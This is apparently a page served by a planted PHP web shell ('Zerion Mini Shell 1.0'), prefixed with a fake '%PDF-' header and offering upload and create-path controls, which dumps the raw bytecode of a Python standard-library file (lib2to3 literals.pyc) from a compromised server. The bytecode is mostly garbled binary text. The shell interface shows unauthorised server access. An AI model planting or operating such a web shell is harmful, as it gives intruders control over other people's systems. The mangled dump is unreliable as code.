%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/lib2to3/pgen2/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/lib2to3/pgen2/__pycache__/literals.cpython-38.pyc

U

q©ßacã@sPdZddlZddddddd	d
ddd
œ
Zdd„Zdd„Zdd„ZedkrLeƒdS)z<Safely evaluate Python string literals without using eval().éNúúúÚ
ú
ú	úú'ú"ú\)
ÚaÚbÚfÚnÚrÚtÚvr	r
rcCsÐ| dd¡\}}| d¡st‚t |¡}|dk	r4|S| d¡r–|dd…}t|ƒdkrbtd|ƒ‚zt|dƒ}WqÈtk
r’td|ƒd‚YqÈXn2zt|dƒ}Wn"tk
rÆtd	|ƒd‚YnXt|ƒS)
NrérÚxéz!invalid hex string escape ('\%s')ééz#invalid octal string escape ('\%s'))	ÚgroupÚ
startswithÚAssertionErrorÚsimple_escapesÚgetÚlenÚ
ValueErrorÚintÚchr)ÚmÚallÚtailZescZhexesÚi©r%ú2/usr/local/lib/python3.8/lib2to3/pgen2/literals.pyÚescapes$

r'cCs¬| d¡s(| d¡s(tt|dd…ƒƒ‚|d}|dd…|dkrL|d}| |¡sptt|t|ƒd…ƒƒ‚t|ƒdt|ƒksˆt‚|t|ƒt|ƒ…}t dt|¡S)Nr	r
rrérz)\\(\'|\"|\\|[abfnrtv]|x.{0,2}|[0-7]{1,3}))rrÚreprÚendswithrÚreÚsubr')ÚsÚqr%r%r&Ú
evalString(s($r/cCs@tdƒD]2}t|ƒ}t|ƒ}t|ƒ}||krt||||ƒqdS)Né)Úranger r)r/Úprint)r$Úcr-Úer%r%r&Útest2sr5Ú__main__)Ú__doc__r+rr'r/r5Ú__name__r%r%r%r&Ú<module>s"÷
	

Zerion Mini Shell 1.0